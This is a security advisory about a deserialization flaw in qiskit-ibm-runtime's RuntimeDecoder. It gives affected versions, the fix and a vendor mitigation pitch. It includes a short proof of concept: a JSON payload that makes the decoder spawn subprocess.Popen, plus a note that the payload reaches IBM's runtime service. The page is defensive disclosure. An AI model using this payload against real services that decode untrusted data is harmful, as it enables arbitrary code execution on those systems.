GHSA-x4x5-jv3x-9c7m
MEDIUM`qiskit_ibm_runtime.RuntimeDecoder` can execute arbitrary code
EPSS Exploitation Probability
EPSS (Exploit Prediction Scoring System) is a daily probability model maintained by FIRST.org. It estimates the likelihood a CVE will be exploited in production environments within the next 30 days, derived from real-world threat intelligence signals.
Blast Radius
qiskit-ibm-runtimeReal-time download stats are indexed for npm and PyPI packages. This vulnerability affects PyPI packages — download data is not available via public APIs for these ecosystems.
Description
Summary
deserializing json data using qiskit_ibm_runtime.RuntimeDecoder can be made to execute arbitrary code given a correctly formatted input string
Details
RuntimeDecoder is supposed to be able to deserialize JSON strings containing various special types encoded via RuntimeEncoder. However, one can structure a malicious payload to cause the decoder to spawn a subprocess and execute arbitrary code, exploiting this block of code: https://github.com/Qiskit/qiskit-ibm-runtime/blob/16e90f475e78a9d2ae77daa139ef750cfa84ca82/qiskit_ibm_runtime/utils/json.py#L156-L159
PoC
malicious_data = {
"__type__": "settings",
"__module__": "subprocess",
"__class__": "Popen",
"__value__": {
"args": ["echo", "hi"]
},
}
json_str = json.dumps(malicious_data)
_ = json.loads(json_str, cls=qiskit_ibm_runtime.RuntimeDecoder) # prints "hi" to the terminal
(where obviously "echo hi" can be replaced with something much more malicious)
notably the following also makes it through the runtime API, with malicious_data serialized client-side via RuntimeEncoder (and therefore presumably deserialized server-side via RuntimeDecoder?)
service = qiskit_ibm_runtime(<ibm_cloud_credentials>)
job = service.run("qasm3-runner", malicious_data)
print(job.status()) # prints "JobStatus.QUEUED"
Impact
i don't know if qiskit_ibm_runtime.RuntimeDecoder is used server-side so this may or may not be a serious vulnerability on your end (however it's definitely a security hole for anyone using the library to deserialize third-party data)
Affected Packages
| Ecosystem | Package | Vulnerable range | Fix |
|---|---|---|---|
| 🐍PyPI | qiskit-ibm-runtime | ≥ 0.1.0&&< 0.21.2 | 0.21.2 |
Detection & mitigation playbook
Open-source dependencyDetect
Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for qiskit-ibm-runtime. O3's reachability analysis confirms whether the vulnerable code path is actually invoked in your application, so you act on real exposure instead of every transitive match.
Fix
Update qiskit-ibm-runtime to 0.21.2 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms GHSA-x4x5-jv3x-9c7m is resolved across your whole dependency graph.
Workarounds
If you can't upgrade right away: gate or disable the affected feature, validate untrusted input at the boundary, and avoid passing attacker-controlled data into the vulnerable path. O3's runtime protection blocks exploitation in production as an interim safeguard until the upgrade lands.
How O3 protects you
O3 pinpoints whether GHSA-x4x5-jv3x-9c7m is reachable in your code and exactly where to fix it, then blocks exploitation in production at runtime until the patched version is deployed.
Tailored to GHSA-x4x5-jv3x-9c7m. Runtime protection reduces exposure until a permanent patch is applied and verified — it complements patching, it doesn't replace it.
Frequently Asked Questions
Is GHSA-x4x5-jv3x-9c7m in your dependencies?
O3 detects GHSA-x4x5-jv3x-9c7m across PyPI dependencies and uses function-level reachability to confirm whether the vulnerable code path is actually reachable — not just present. No false positives.